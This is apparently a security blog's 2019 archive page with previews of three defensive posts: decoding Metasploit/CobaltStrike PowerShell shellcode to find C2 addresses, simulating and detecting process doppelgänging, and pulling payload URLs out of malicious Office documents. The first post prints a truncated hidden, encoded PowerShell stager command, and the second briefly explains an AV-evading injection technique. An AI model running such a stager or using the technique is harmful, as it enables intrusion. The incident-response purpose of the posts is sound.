Posts

Showing posts from 2019

Decoding Metasploit and CobaltStrike shells

Image
Introduction
This post is about how to decode one type of shellcode generated by Metasploit framework and CobaltStrike to get the C2 domain/IP address so that the incident responder can able to identify and block the further adversary activity. FYI this post doesn't cover the initial infection vector (like phishing thorough office maldoc) or how the shellcode will get generated (like from Metasploit framework or Cobaltstrike).

It leverages CyberChef to fully decode and get the shellcode from an encoded powershell command and further it will be fed into scdbg emulator to get the IP address of C2 or an adversary

ShellCode
Here we have the encoded powershell command 

powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAA…

Mimikatz Process Doppleganging

Image
This post is just about running a tool created by hasherezade to perform process doppleganging.
All credit goes to the researchers Tal Liberman  and Eugene Kogan from enSilo and also hasherezade

I just wanted to simulate the same process doppleganging and detect with pe-sieve, it is recommended to walk through author's blackhat presentation Lost in transaction - Process Doppelgänging and tool creator's write up Process Doppelgänging – a new way to impersonate a process

Process doppelganing is a code injection technique ( can be a substitute to traditional process hollowing code injection technique) that leverages NTFS transacations related Windows API calls which are less used with malicious intent and hence "less known" to AV vendors, hence this code injection technique is more likely to go undetected.

The Doppelgänging objective is to load and execute aribitrary code in the context of a legitimate process, none of the process hollowing API calls like NtUnmapViewOfS…

Maldoc external relatonship with type oleobject

Image
Introduction 

Phishing malicious documents can contain external relationship with type oleobject. A defender objective is to kill the attack at the early stage by blocking malicious domains at perimeter, this post levarages Cyberchef  to extract payload urls quickly from malicious office documents

CyberChef is an open source tool maintained by GCHQ. It provides a drag and drop interface via a web browser (Firefox & Chrome) to quickly perform a wide range of data manipulation functions called 'operations'. A sequence of operations is called a 'recipe'. As all the processing is client-side, CyberChef can be downloaded and used offline or in an air-gapped forensic network. CyberChef has operations useful for disk forensics, malware & network analysts, and even OSINT researchers.

Tools 

Cyberchef 
Analysis 

All document samples are pulled from Hybrid Analysis - a free malware analysis service for the community that detects and analyzes unknown threats using a unique H…